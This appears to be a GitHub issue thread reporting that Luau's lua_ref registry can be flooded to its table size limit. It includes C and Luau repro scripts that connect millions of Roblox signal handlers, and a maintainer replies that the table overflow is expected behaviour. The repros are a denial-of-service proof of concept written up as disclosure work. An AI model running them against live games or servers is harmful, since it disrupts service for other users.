lua_ref failure with too many elements

[TheGreatSageEqualToHeaven]

In Luau, the registry is simply a table and falls under table size limits, according to MAX_SIZE, which is 67108864.

When looking into this, I noticed that there are no protections against adding millions of elements and flooding the registry to its max size in the Roblox engine and its provided functions. I first tested this inside of a simple Luau runner and then ran it inside of Roblox using RBXScriptSignal:Connect.

There aren't a lot of good fixes for this other than adding limitations to everything using lua_ref, rather than changing the function itself. Leaving it unprotected can cause several problems and potential vulnerabilities down the line and may already cause vulnerabilities, currently this will brick most actions in the Roblox engine that rely on the registry or otherwise not store them in the registry and leave them to be collected, potentially leading to use-after-free.

As an additional note, if the limitations on tables were to be removed for the registry or for an alternative store to the table be introduced, there would be problems in lua_ref due to an integer overflow when increasing the registry index and can lead to more vulnerabilities.

Repros

Standalone

int reg_add(lua_State* L) {
    int idx = lua_ref(L, 1);
    lua_pop(L, 1);
    lua_pushinteger(L, idx);

    return 1;
}

local n 
local mile = 0
for i = 1, 67108864 do -- Add + 1 to get table overflow
    n = reg.add(function() end)
    mile += 1
    if mile == 10000000 then
        print'hit milestone'
        mile = 0
    end
end
print(n)

Roblox

local total = 0
local noclean = { }
local start = os.time()

local function gen()
    local mile = 0

    for i = 1, 67108864 + 1 do 
        noclean[i] = script.Parent.ChildRemoved:Connect(function() return noclean end)
        mile += 1
        total += 1
        if mile == 1000000 then
            mile = 0
            print(i)
            task.wait(1)
        elseif mile == 500000 then 
            task.wait(0.05)
        end
    end
end

for i = 1, 3 do 
    pcall(gen) 
end

print(string.format([[
    Max: %s
    Time: %s
]], total, os.time() - start))

print("Workspace Test: ", pcall(function()
    workspace.ChildAdded:Connect(function(s) print("New Child Added") end)
end))

[vegorov-rbx]

It is expected that many of the Luau API functions can throw an exception, including lua_ref throwing a table overflow.